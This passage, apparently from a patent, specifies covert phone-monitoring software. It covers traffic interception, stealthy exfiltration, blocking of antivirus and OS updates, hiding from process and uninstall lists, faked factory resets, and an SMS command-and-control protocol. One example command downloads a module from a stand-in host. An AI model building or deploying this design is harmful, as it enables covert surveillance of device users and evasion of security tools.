In a fourth example method, the selective router module monitors message storage locations and acts on any messages that are added to them. For example, the Symbian OS uses SMS storage mailboxes for incoming text and service load or WAP push messages, as well as outgoing text messages sent by client applications on the device. By monitoring and acting on any messages that appear in these mailboxes, SMS traffic can be filtered, blocked, monitored and otherwise controlled.
When a device supports more than one method of intercepting, controlling or blocking communication, such as replacement of a dll and redirection of hardware pointers, a plurality of methods can be used, with different methods used for each communication method supported by the device, or a plurality of methods can be used at once to deal with a given communication method. The preferred method for a given device will be apparent to one skilled in the art.
In any of these examples, the selective router module can make use of the device modules that are replaced or superseded to perform the actual data reception and/or transmission, once the data has been logged, modified, or otherwise processed in accordance with the design of the selective router module. This permits the selective router module (2320) to filter, block, store, modify or otherwise process network traffic prior to or instead of the network traffic being processed by any other device software or by any device hardware other than that required to deliver the traffic to the selective router module (2320). On mobile devices built using Microsoft Windows, the boot order is determined by class IDs. Where the selective router module appears in the boot order is based on the selective router module's class ID, when the selective router module is implemented as a separate process. FIG. 6 depicts some different ways in which the selective router module (2320) can interact with network traffic.
In addition to communication between a device and external devices and systems, communication can also take place between a SIM card and the device the SIM card is inserted into (referred to herein as a “handset”). In some cases such communication is initiated by messages sent from external devices and systems to the SIM card, while in other cases the communication is initiated by the SIM card or by applications running on the SIM card. To maintain control over the device, the selective router module must be able to block, modify, filter, log or permit such communication between handset and SIM card. Methods similar to those used to intercept and control external communication are applicable to the handset/SIM card communication; including replacement of aspects of the handset operating system, such as DLLs, and reconfiguring hardware to interface with aspects of exemplary implementations of the current invention rather than with the existing device software. For example, The Symbian OS comprises a capability referred to as the “Etelsat Layer”, which deals with communication between the system software and the device's radio hardware. Within the Etelsat Layer, the RSat Interface provides handset software access to SIM Toolkit procedures that exist on the SIM card. This access is given to all applications, so there is no need to replace the layer with a custom one. The SIM Toolkit procedures permit an application to see Short Message Service (SMS) messages and proactive communications between the handset and SIM.
The capability to selectively block or modify network traffic entering or leaving the device can be used to protect the selective router module (2320) and other modules and stored data from interference by software updates that are performed using network downloads. When such a download is detected, the download can be analyzed by the selective router module in some exemplary embodiments, and in other exemplary embodiments the download can be redirected to the control service for analysis by automated systems and/or human operators. If the download is determined to be harmless to the selective router and other modules and data, it can be permitted to be processed normally by the device. If the download is determined to be of a nature that would remove, disable, or otherwise interfere with the operation of the selective router or other modules or data, such as an anti-virus system update that includes detection capabilities for the selective router or other modules or data, a patch to the operating system that would remove the selective router by overwriting it with new software, or a utility program that reports data that could indicate the presence of the selective router module or other modules or data, the download can be blocked, or be substituted with an alternate download that does not remove, disable or otherwise interfere with the operation of the selective router or other modules or data.
Additional methods for avoiding disablement or removal of the selective router module and other components and data used by the invention, include removal of the selective router module and other components from operating system “uninstall lists’ (i.e. lists of software that has been installed, which are used to prompt the user for selections of software to be removed), and removal of the selective router module or other components from displays of running processes. In some devices, such as those running the Symbian OS, there are features, such as the Symbian OS “recognizer”, that can be configured to restart the selective router module or other components if they cease operating for any reason.
In at least some devices it is not possible for the selective router module to remain functional after a device is reset to a factory initial state. Where the selective router module can not intercept, block and simulate such a reset to convince the user that it was performed when it was not actually performed, it is necessary to reinstall the selective router module and other modules and settings, for example, using one of the methods described above.
In a first embodiment, the selective router module (2320) notes the message traffic (6200) and uses the fact that there is a particular type of network traffic to update the operations (6210) of the selective router module (2320). For example, if the selective router module (2320) notices that there is 802.11 (that is, WiFi) network traffic, the selective router module (2320) updates its internal tables to indicate that the system is currently connected to an 802.11 network. This can be used to trigger additional functionality of the module, as described below.
In a second embodiment, the selective router module (2320) captures copies of the network traffic (6300) and stores these copies in the storage module ((2330), described below) for subsequent exfiltration. The selective router module (2320) can filter or otherwise limit the amount of network traffic captured. The filtering can be performed based upon size, destination, source, contents, or other attributes of the network traffic.
In a third embodiment, the selective router module (2320) monitors and redirects network traffic targeted to specific modules of the present invention. For example, a selective router (2320) can monitor the SMS received queue (6110) and extract SMS messages (6400) targeted for the control module (2340), and then deliver these SMS messages directly to the control module (2340) without further interaction being required by the monitored mobile device operator. The selective router module (2320) also can delete any user visible references to SMS messages targeted to the control system and prevent these messages from being seen by any other user or process. This includes deleting or hiding copies of the message in system queues and notifications. This permits the modules to receive network messages without interrupting the monitored mobile device operator. In an alternative example, a TCP/IP intercept (6500) can receive network traffic (6120) returned to an application on the monitored mobile device (1100). However, the TCP/IP traffic can have a covert payload destined from one of the modules on the monitored mobile device (1100). The selective router module (2320) removes the covert payload (6510) from the message, forwards the message (6520) without the covert payload to the intended destination (1110a), and forwards the covert payload (6530) to the appropriate module (2390a) for processing.
In a fourth embodiment, the selective router module (2320) intercepts network traffic sent from an application (1110b) on the monitored mobile device (1100). In this example, the network traffic is an HTTP request to a particular web server on the network. After intercepting the network traffic (6600), the selective router module (2320) rewrites the request (6620) to forward the request to a service that is part of the control system (1400), and optionally appends a covert payload (6610) to the request. This technique is useful for covertly transmitting monitoring information to the control system embedded within other network traffic. In some embodiments the control system (1400) can optionally embed commands or other data in responses to requests, such as HTTP acknowledgement messages, or TCP/IP headers. Various techniques for including the covert payload in the message traffic can be used, including embedding encrypted payloads, adding attachments to mail messages, steganographic methods for information hiding, and other techniques well known to those skilled in the art. In some embodiments, the covert payload can be encrypted.
In a fifth embodiment, the selective router module (2320) encrypts and decrypts network traffic sent between a monitored mobile device and a control system (1400). In some embodiments, commands sent by the control system to a mobile device are SMS based, and are sent either to the default SMS port or to the specific port identified during the post installation step. Complete commands may span multiple SMS messages. In other embodiments, other messaging mechanisms such as TCP/IP sockets, or Bluetooth connections can be used.
In some embodiments, communications between the control system (1400) and the monitored mobile device are encrypted, for example by using a standard symmetric key encryption algorithm such as AES, triple-DES, or other general purpose symmetric key encryption algorithm supported by both the device and the control system (1400). In one particular embodiment, the encryption key selected is the device's IMEI number. If the key is less than 16 characters in length, the key will be padded with ‘$’ to 16 characters. If the key is greater than 16 characters in length, then the key is truncated to 16 characters.
Commands and modules downloaded from the control system (1400) to the device are encrypted using the specified encryption algorithm, the encrypted results are then optionally encoded using a transport-encoding mechanism such as Base64, and then segmented to fit within the selected network transport. After segmenting the message, the unique device ID is prepended to the each message segment to allow the messages to be appropriately managed by the receiver. Similarly, responses from the mobile device are also optionally encrypted and encoded as described above. Exfiltrated information is similarly encrypted and encoded as necessary.
The selective router module (2320) also is able to recognize when specific network interfaces are enabled and connected to a network and when monitoring information can be exfiltrated from the monitored mobile device (1100) with a minimum chance of detection. The selective router module (2320) can select the routing of the exfiltrated messages (e.g. between an 802.11 network and a GPRS network), and then package and route materials over the selected network(s) using preconfigured defaults and access information. In some embodiments, the selective router module (2320) uses authentication materials that allow the selective router module (2320) to establish an 802.11 network connection to a commercial hot spot provider such as Boingo® by associating a well known SSID with the authentication materials. In other embodiments, the authentication materials can be downloaded to the monitored mobile device (1100) after the available networks are identified. Without limitation, the selective router module (2320) can utilize any network interface available to the monitored mobile device (1100), such as infrared, Bluetooth, or other point to point networks. When operating in conjunction with a proxy device, the selective router module can route specific types of network traffic to the proxy device by routing messages to the proxy device over an alternate peer-to-peer network interface, such as Bluetooth or peer-to-peer WiFi, and the proxy device forwards the messages to the control system.
Additionally, the selective router module (2320) can identify network connections that are blocked by firewalls or do not provide access to the control server and route traffic away from these networks. In some embodiments, firewall identification is performed by monitoring network traffic to and from the monitored mobile device, for example, monitoring traffic to and from a mobile browser application or to and from the network provider. Alternatively, the selective router module (2320) can probe the network to determine if a network path is open and available. In some embodiments, the probe may take the form of a Web request to a third party, such as a request to the Microsoft Software update site. If the request is completed correctly, the selective router module (2320) is able to use this information to determine that the tested network path is probably not blocked by a firewall. The above example illustrates the covert probing of a network using requests that appear “normal” to an observer but return useful information to the selective router module (2320).
In some exemplary embodiments, the selective router module (2320) is constructed or configured so as to use a particular method or methods to route exfiltrating data from the monitored device. Such particular method or methods can be the same for all devices, preselected by device type, pre-selected based on specific sets of characteristics of a particular device, or selected on a device by device basis using automated systems that use a plurality of factors, such as device type, device features, anticipated data volumes, required level of stealthiness, available methods of accepting exfiltrated data from monitored devices, or others.
In exemplary embodiments where the selective router module (2320) is configured, rather than constructed, to use a particular method or methods to route exfiltrating data from the monitored device, the configuration data can be installed with the selective router module (2320) or installed, or reinstalled, separately from it. In exemplary embodiments where the configuration data is installed separately, the selective router module (2320) is typically designed with a default configuration to use in the absence of such configuration data to prevent failure if the configuration data is lost or is delivered after the selective router module (2320) is activated.
In some other exemplary embodiments, the selective router module (2320) is constructed and configured so as to choose a method to use to route exfiltrating data based on factors such as the capabilities of the device, the type of data to be exfiltrated and the current device communication state. For example, if the device has Wi-Fi capability, is located in a Wi-Fi hotspot, and is currently transmitting and receiving data over Wi-Fi, the selective router module (2320) can choose to exfiltrate data over Wi-Fi. At another time the device might have the capability and connectivity to send SMS messages, but not be located such that a Wi-Fi connection is possible and the selective router module (2320) can choose to exfiltrate data appropriate to sending over SMS, but retain other data which is not appropriate for SMS exfiltration until a Wi-Fi connection is possible. The selective router module (2320) can optionally be designed or configured with parameters that give preference to particular methods over other methods. As will be apparent to those with skill in the art, such a weighted selection procedure, whether based on the type of data or on other factors, can be extended to any network path or Peer-To-Peer connection that a device is capable of using, such as GPRS, Bluetooth or IrDA.
In some exemplary embodiments, the selective router module (2320) can detect and monitor the rate that data is being sent by the monitored device due to user activity, and limit its own exfiltration data rate in proportion to the monitored user activity data rate so as to be less likely to attract the device user's notice. In some exemplary embodiments, the selective router module (2320) can notify the Device Controller (1490) or other appropriate system component, of the monitored device's incoming data rate, so that transmissions to the monitored device can be limited in proportion as well.
As shown by the flowchart depicted in FIG. 7, in one exemplary procedure for choosing a network path for exfiltration of data, the selective router module (2320), first identifies available network paths (7110). Such identification can be a specific action or series of actions, such as querying the device's operating system, reading device hardware state, or it can be done incidental to the selective router module's other functions, such as acting as a proxy for monitored device user activities. The selective router module (2320) then identifies which of the available network paths is currently in use, and calculates the data rate for each (7120). The types and amount of data waiting for exfiltration is then compared to the available network paths and their data rates (7130) to select a network path for the waiting data to be sent over. Criteria for matching data to network paths and data rates can be designed into the selective router module (2320), or they can be set by configuration parameters which are read by the selective router module (2320). In general, matching will select, or even require, higher bandwidth network paths for data types such as sound or image data, that typically involve large amounts of data, and select higher bandwidth network paths over lower bandwidth network paths, to limit the duration of transmissions and thus reduce the chance of the transmissions being noticed. If there is no network data path that matches the waiting data (7140), the process terminates, no network path is selected, and the data continues to wait for exfiltration. If there is a match found, the data that matches, which may be all or less than all, of the data waiting for exfiltration, is sent using the matching network path, at a rate that is proportional to the rate that the network path was already sending data (7150). Once the data has been sent, if there is more data to send (7160), the process repeats starting with a re-check of available network paths (7110), in case this has changed, otherwise the process terminates.
The selective router module (2320) can include additional factors in calculating when to exfiltrate data, which network path to use, and what technique to use for exfiltrating data over the selected network path. Such additional factors can include:

    
    
        A send buffer becomes full.
        When cache space reaches a specific level (e.g. 80% used).
        When there is any data at all to send (i.e. send as soon as possible, don't cache).
        When the device is sending other (non-exfiltration) data. (i.e. when the exfiltration data can blend in with normal data traffic flows).
        Send at least once in every specified interval of time (e.g. send once an hour, once a day, etc.).
        Send at specific times (i.e. 3 am, 7:20 pm, etc.).
        Send when located in particular cell coverage areas.
        Prohibit send if located in particular cell coverage areas.
    
    


Additional factors can be combined in some exemplary implementations. For example, a selective router module (2320) could be designed or configured to send data when cache becomes 50% full, there is normal device traffic being sent, and the device is located in particular cell coverage areas. A plurality of conditions can also be defined. For example, a device can be designed or configured to send when cache reaches 50% of capacity and normal device traffic is being sent, but if cache reaches 80% full, sending can occur even if there is no normal device traffic being sent.
6.9.3 Monitoring Information Store Module (2330)
The monitoring information store module (2330) provides a hidden storage for collected monitoring information prior to exfiltration. In some embodiments, the monitoring information store module (2330) varies based upon the amount of information being stored, whether the information must be hidden from the user of the monitored mobile device (1100), and the type of device the information is stored on. Table 2 lists the service operations provided to other modules operating on the monitored mobile device (1100) by the monitoring information store module (2330).







TABLE 2







Monitoring Information Store Module Service Operations








OPERATION
ACTION





Create collected
Creates a set of collected monitoring information,


monitoring
establishing any necessary information hiding,


information
obfuscation, or encryption techniques that might



be required.


Add to collected
Adds collected information to a set of collected


monitoring
monitoring information.


information



Delete collected
Deletes a specified set of collected monitoring


monitoring
information from the monitored mobile device.


information



List collected
Lists the collected monitoring information stored


monitoring
on the monitored mobile device.


information



Store data on 
Stores a specified set of monitoring information on


device
the monitored mobile device.


Transmit stored 
Transmits stored data from the monitored mobile


data
device to the control system.









In more specific embodiments, the monitoring information store module (2330) monitors the amount of stored information on the monitored mobile device (1100) to prevent the device from being completely filled by the collected monitoring information. If the amount of storage used on the monitored mobile device (1100) reaches a first threshold, the monitoring information store module (2330) notifies the control module (2340) that the device is becoming full, and that collected monitoring information should be exfiltrated in order to prevent the data from becoming lost. If the amount of storage available on the monitored mobile device (1100) reaches a second threshold, the monitoring information store module (2330) deletes some or all of one or more collected monitoring information sets. Alternatively, the monitoring information store module (2330) can compress one or more sets of collected monitoring information. In still other embodiments, the monitoring information store module (2330) can move one or more sets of collected monitoring information to alternative storage (such as the SIM card) if the alternate storage is available.
In some embodiments, the monitoring information store module collects similar information together for ease of storage or exfiltration. The collected information is called a database, even through the internal data structure can be one of a database, a e-mail box, a flat file, a compressed archive, or other storage mechanism appropriate for the device and data type. Example of types of information grouped together include: SMS messages in an SMS database, e-mail messages in an e-mail database, call details in a Call Detail Record database, and the like.
In some embodiments, the monitoring information store module (2330) uses obfuscation techniques to hide the monitoring information from users of the monitored mobile device (1100). These obfuscation techniques are well understood to those skilled in the art, and may include such techniques as:

    
    
        Hiding files in directories
        Using hidden file names (for monitored mobile device (1100) operating systems that support hidden file names)
        False or misleading naming of files
        Naming files with unprintable/unreadable names
    
    


The monitoring information store module (2330) also can protect one or more pieces of monitored information using standard encryption and/or digital signature techniques well known to those skilled in the art.
6.9.4 Control Module (2340)
In still other embodiments, the Control module (2340) communicates with Control Services (e.g. Control Service (1410) of the control system (1400)). In some embodiments, the control service uses the services of a separate selective router to communicate with a Control Service. In other embodiments, features of the selective router are combined into the control module for efficiency. The control module (2340) manages the deployment and operation of the modules, including the update of existing modules and the deployment and operation of monitoring modules. The control module (2340) operates under the direction of one or more Control Service(s). In a first embodiment, the control module (2340) downloads and loads modules onto the monitored mobile device (1100) as commanded, communicates status with control servers, tracks device memory, deletes modules as commanded, detects debugging and deletes files and components, and can self destruct if required. After the control module is installed, communication with the control system (1400) is made to receive the Device ID that uniquely identifies the device the control module is installed on. This request may be made in an SMS, HTTP GET or POST, or other format. As will be understood by persons having ordinary skill in the art, although each request parameter is not strictly required, the more info that is provided, the better the control system (1400) is able to uniquely identify the device. In more specific embodiments, the control system (1400) stores the values provided in its internal data store and generates a Device ID. The Device ID will be used for identification purposes in all future communication from the device to the control system (1400).
The control module (2340) monitors the status of the device's SIM card, or SIM card equivalent to detect replacement of the SIM card. This can be accomplished by means such as the device making a “Refresh” request to the SIM card, to cause the SIM card to notify the device of any changes in SIM files. An alternative method for detecting a replacement of the SIM card in a device involves use of an application on the SIM card that makes unusual regular requests to the device that are not apparent to the device user, such as setting up an “event list” or initiating a particular Proactive SIM command. If these unusual regular requests are not seen, the device uses this as an indication that the SIM has been replaced by a new SIM. Those of skill in the art will know of yet other methods of detecting SIM replacement in a device.
If a first SIM card is replaced by a second SIM card in a first device, the control module on the first device obtains the ID information from the second SIM card, and sends this to the control system (1400), which updates the stored information for the first device. In scenarios where the first SIM card was used to instantiate the device discovery and modification module, insertion of the first SIM card into a second device can result in the second device instantiating a device discovery and modification module that contacts the control system (1400). In such cases the control system (1400) can instruct the second device's device discovery and modification module to remove itself without installing any additional components on the second device if monitoring of the second device is not desired. Alternatively, the control system (1400) can store the second device's information and begin monitoring the second device too.
In a first usage, the control module (2340) receives an incoming message from the control service (1400) or the selective router (2320), parses arguments from the message and invokes requested instruction, and reports status of instruction processing to the control system (1400). The messages from the control service or selective router have a specific header format as shown in Table 3.







TABLE 3







General Server Initiated Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





# AES Pad
The very first character is the Hex
Hex
1
1


characters
representation of the number of pad
Numeric





characters appended to the encrypted






message. This number is used to strip off






the AES padding at the end of the message.






This parameter is not delimited from the






SMS # parameter.





SMS #
This represents the position this SMS is in
HEX
1
1



respects to any other SMS that may make
Numeric





up the command. The first SMS is 0 and if






the message is too big for one SMS, then






next SMS will be 1. If the SMS number is






greater than 0, control module headers will






be shortened. There will only be SMS#,






Message ID, then a payload in SMS's after






the first SMS. This payload will need to be






concatenated to the prior SMS payload





Protocol
Version of the control module header fields.
Hex
1
1


version
This lets the device know the scheme of the
Numeric





control module header fields.





Number of
Number of SMSs that make up the entire
Hex
1
1


Total SMS
command. If the message is too big for one
Numeric





SMS, this value tells you how many total






SMS's to watch for. Minimum is 1.





Device ID
Unique identifier for the device being
Hex
1
1



commanded
Numeric




Message ID
Unique identifier for this command
Hex
1
1




Numeric




Application
The unique identifier for the application this
Hex
1
1


ID
command is targeted for. Application IDs
Numeric





are assigned at the time application modules






are built. The control module application






has a value of 0.






“Ctrl + k” delimiter





Command
The control module command. Possible
Static
1
1



values are listed below. Each of these is






discussed in more detail in a later section






sd - Set Destination






im - Install Module






um - Update Module






dm - Delete Module






mi - Module Inventory






mq - Memory Query






da - Destroy All






mc - Module Command












Once decrypted, the text of the message contains header information for the control module and application module specific instructions. The message is in delimited ASCII encoding, using “ctrl-k” and “|” as delimiters. The selection of delimiter characters and encoding character set is implementation dependent. In this example embodiment, the header information is separated by “Ctrl+k” character. Each of the parameters are delimited by a pipe (|). The elements within the delimited string are parameters that define the meaning of the command. Additional parameters then may be appended for commands sent to specific modules. The meaning of these additional parameters is not necessarily known to control module. It is expected that the module being commanded will understand the parameters. The control module will always pass these values through to the module without modification.
The Control module acknowledges receipt and provides processing status for each command it receives. Additionally, the device may periodically transmit messages to the control system (1400) based on trigger events that may occur on the device (i.e., incoming SMS message, incoming phone call, device shutdown/startup, etc.). An example format for these messages is illustrated in Table 4. All messages are sent to the control system (1400) using the protocol and remote address identified via the Set Destination process (see section 5.8.4.1.6). Response messages are formatted and optionally encoded and/or encrypted as described elsewhere.







TABLE 4







General Device Initiated Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





# AES Pad
The very first character is the Hex
Hex
1
1


characters
representation of the number of pad
Numeric





characters appended to the encrypted






message. This number is used to strip off






the AES padding at the end of the






message. This parameter is not delimited






from the SMS # parameter.





Device ID
Unique identifier for the device
Hex
 0*
1




Numeric




MSISDN*
The MSISDN for the device
Alpha
 0*
1




Numeric




IMEI*
The IMEI of the device
Alpha
 0*
1




Numeric




IMSI*
The IMSI of the device
Alpha
 0*
1




Numeric




Server
This is the Message ID of the control
Hex
1
1


Message ID
message sent from the server
Numeric




Message ID
Unique identifier for the command
Hex
1
1



associated with this message.
Numeric




Application
The unique identifier for the application
Hex
1
1


ID
that generated this message. Application
Number





IDs are assigned at the time application






modules are built. The control module






application has a value of 0.





ReturnCode
The ReturnCode for the event that
Hex
1
1



triggered the message. ReturnCode = 0 is
Numeric





used to indicate success. Any other value






is considered a failure. Each application






defines its own set of ReturnCode values.





ErrorString
A string containing a description of the
Alpha
0
1



error(s) that occurred during processing
Numeric









The incoming message includes one or more instructions to the control module (2340). The first portion of the instruction includes a ‘Control’ instruction that the control module (2340) can process. Exemplary control instructions include those shown in Table 5. The function of each of these control instructions is described in more detail in the sections below.







TABLE 5







Control Instructions












CONTROL





INSTRUCTION
ACTION








Set Destination (sd)
Sets the default destination for





exfiltration requests




Install/Update (im/um)
Installs or updates a module.




Uninstall (dm)
Deletes a module.




Inventory List (mi)
Reports the inventory of installed





modules.




Memory Query (mq)
Queries available memory on the





monitored mobile device (1100).




Self destruct (da)
Destroys all modules and data on the





monitored mobile device (1100).




Command (mc)
Passes a command to an installed





module.










Various portions of the message define the instruction processing status callback address, which is the service address to be used by the control module (2340) (or another module) to access a control service (1400). This service address defines the protocol and destination endpoint for processing responses from a mobile device to a control service. The instruction processing status callback address can be an SMS address, a USSD address, or a service address defined by UDP, TCP, or URI address. Example instruction processing status callback addresses include those shown in Table 6.







TABLE 6







Instruction Processing Status Callback Address Examples








ADDRESS TYPE
PROCESSING STATUS CALLBACK ADDRESS





SMS specification
sms://<msisdn> e.g. “SMS://3105551212”


USSD specification
ussd://<ussd string>, e.g. “USSD://*#555#”


UDP specification
udp://<ip>:<port>, e.g. “UDP:10.1.1.1:2000”


TCP specification
tcp://<ip>:<port>, e.g. “TCP:10.1.1.1:2000”


URI specification
“HTTP:10.1.1.1:2000/path/to/service”


(in the form



specified



by RFC 3986)









6.9.4.1 Control Module Commands

The following sections describe the control module functioning in response to various commands.
6.9.4.1.1 Install Module Command
The Install Module command allows the control system (1400) to instruct the control module to load new modules onto the device via the control module application. A message (header portions truncated for clarity) specifying the control parameters below is received by the control module and processed.







TABLE 7







Install Module Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
im (Install Module)
Static
1
1


Target
The unique identifier for the application
Hex
1
1


Application
being installed. Application IDs are
Numeric




ID
assigned at the time application modules






are built. The control module application






has a value of 0.





URI
The URI where control module can
Alpha
1
1



download the target application.
numeric









Upon receipt of the Install Module command, the control module causes the defined application to be loaded from the specified URI using the access method and parameters specified in the URI. The loaded control module is installed into the mobile device, and assigned the “target application ID” provided in the control message (see above).
An example of a textual version of an install command received by a mobile device is shown below. The example uses “ctrl-k” and “|” as delimiters, and is shown without encryption, base64 encoding, or other adjustments. It provides an example of how the parameters described for a specific command are encoded for transmission over a textual transmission mechanism such as SMS. Other encodings are possible within the scope of the invention and may be performed by those skilled in the art.
d0|001|1|19|a2|0”Ctrl+k”im|1|http://demo.test.com/mc/public/modules/wm/HeartBeat.dll$$$$$$$$$$$$$













PARAMETER
VALUE








# AES Pad characters
d



SMS#
0



Protocol version
001



Number of Total SMS
1



Device ID
19



Message ID
a2



Application
0



ID





“Ctrl + k”



Command
im



Target
1



Application




ID




URL
http://demo.test.com/mc/public/




modules/wm/HeartBeat.dll









Additionally, upon completion of processing of the Install Module command, the control module responds to the control service with a confirmation message, including a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for use by the control module. The response is formatted as described in Table 9.







TABLE 9







Install Module Response Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Install Module
Hex
1
1



command is 200-299.
Numeric





0 = Success






200 = Application already installed






201 = Error fetching application






299 = General unexpected error





ErrorString
If ReturnCode > 200, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)









6.9.4.1.2 Update Module Command

The Update Module command allows the control system (1400) to load updates to modules already installed on the device via the control module application. Table 10 contains the Update Module command parameters.







TABLE 10







Update Module Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
um (Update Module)
Static
1
1


Target
The unique identifier for the application
Hex
1
1


Application
being updated. Application IDs are
Numeric




ID
assigned the time application modules are






built. The control module application has a






value of 0.





URI
The URI where control module can
Alpha
1
1



download the target application.
Numeric









Upon receipt and processing of the Update Module command, the control module downloads the new module, stops the processing of the previous module, deletes any stored exfiltration data collected by the previous module, starts the new module running, and responds to the control service with a confirmation message, including a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for control module. The response is formatted as described in Table 11.







TABLE 11







Update Module Response Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Update
Hex
1
1



Module command is 300-399.
Numeric





0 = Success






300 = Application not installed






301 = Error fetching application






399 = General unexpected error





ErrorString
If ReturnCode > 300, ErrorString should
Alpha
0
1



contain a description of the error
Numeric





condition(s)









6.9.4.1.3 Delete Module Command

The Delete Module command allows the control system (1400) to instruct the control module to remove modules from the device via the control module application. Table 12 outlines the Delete Module command parameters.







TABLE 12







Delete Module Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
dm (Delete Module)
Static
1
1


Target
The unique identifier for the application
Hex
1
1


Application
being deleted. Application IDs are
Numeric




ID
assigned at the time application modules






are built. The control module application






has a value of 0.









Upon receipt and processing of the Delete Module command, the control module responds with a confirmation message, including a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for the control module. The response is formatted as described in Table 13.







TABLE 13







Delete Module Response Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Delete
Hex
1
1



Module command is 400-499.
Numeric





0 = Success






400 = Application not deleted






499 = General unexpected error





ErrorString
If ReturnCode > 400, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)









6.9.4.1.4 Destroy all Command

The Destroy All command allows the control system (1400) to remotely remove all traces of the control module, any other installed modules, and any associated data residing on the device. All data to be destroyed is overwritten with random bytes before removing. Table 14 outlines the Destroy All command parameters.







TABLE 14







Destroy All Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted 






for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
da (Destroy All)
Static
1
1









Upon receipt and processing of the Destroy All command, the control module responds with the requested data, and/or a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for the control module. After the control module has responded, it destroys itself. If there is an error deleting an individual module, the response is formatted as described in Table 15.







TABLE 15







Destroy All Response Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Destroy All
Hex
1
1



command is 700-799.
Numeric





0 = Success






700 = Module was not removed






799 = General unexpected error





ErrorString
If ReturnCode > 700, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Module Info
For each module, a structure as defined in
Struct
0
n



Table 16.
















TABLE 16







Module Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Module
“mi” - A static value used to indicate that
Static
1
1


Indicator
the fields that follow represent a Module






Info struct





Application
The unique identifier for the application
Hex
1
1


ID
being deleted. Application IDs are
Numeric





assigned at the time application modules






are built. The control module application






has a value of 0.





Version
The currently installed version of the
Hex
1
1



module.
Numeric




ReturnValue
For each module, a Delete Indicator
Struct
0
N



structure as defined in Table 17.
















TABLE 17







Delete Indicator Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Delete
“di” - A static value used to indicate that
Static
1
1


Indicator
the fields that follow represent a Return






struct





ReturnCode
Delete return code from module
Hex
1
1




Numeric




ErrorString
If ReturnCode > 0, ErrorString should
Alpha
1
1



contain a description of the error
numeric





condition(s)












6.9.4.1.5 Module Inventory Command

The Module Inventory command allows the control system (1400) to query a mobile device to determine which modules are installed, and their current destination configuration(s). Table 18 outlines the Module Inventory command parameters.







TABLE 18







Module Inventory Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mi (Module Inventory)
Static
1
1


Target
The unique identifier for the application
Hex
0
1


Application
being queried. Zero or one Application ID
Numeric




ID
may be specified. If no ID is specified,






control module will return information for






all Applications currently installed. If one






ID is specified, control module will return






a record for the requested Application ID.












Upon receipt and processing of the Module Inventory command, the control module responds with the requested data, and/or a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for the control module. The response is formatted as described in Table 19.







TABLE 19







Module Inventory Response Message Parameters (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for






clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for
Hex
1
1



the Module Inventory
Numeric





command is 500-599.






0 = Success






500 = Application not






installed






501 = No applications






installed






599 = General unexpected






error





ErrorString
If ReturnCode > 501,
Alpha
0
1



ErrorString should contain
numeric





a description of






the error condition(s)





Module
For each module, a 
Struct
0
n


Info
structure as defined in






Table 20.
















TABLE 20







Module Info Structure (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS





Module
“mi” - A static value used to
Static
1
1


Indicator
indicate that the fields that






follow represent a Module






Info struct





Applica-
The unique identifier for the
Hex
1
1


tion ID
application being deleted.
Numeric





Application IDs are assigned






at the time application






modules are built. The






control module application






has a value of 0





Version
The currently installed 
Alpha
1
1



version of the application.
Numeric




Destina-
For each destination defined
Struct
0
N


tion
for this module, a structure






as defined in Table 21.






Destination information is






only included in the






response message if a






single module was queried.
















TABLE 21







Destination Structure (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS





Destina-
“di” - A static value used to
Static
1
1


tion
indicate that the fields that





Indicator
follow represent a






Destination struct





Priority
The priority for this
Hex
1
1



destination
Numeric




Address
The address parameter
Alpha
1
1



indicates the bearer, protocol
numeric





and remote address. The






address must be prefixed






with one of the following to 






indicate bearer and protocol:






https://






http://






sms://






udp://






ussd://






blue:// (Bluetooth ID)









6.9.4.1.6 Set Destination Command

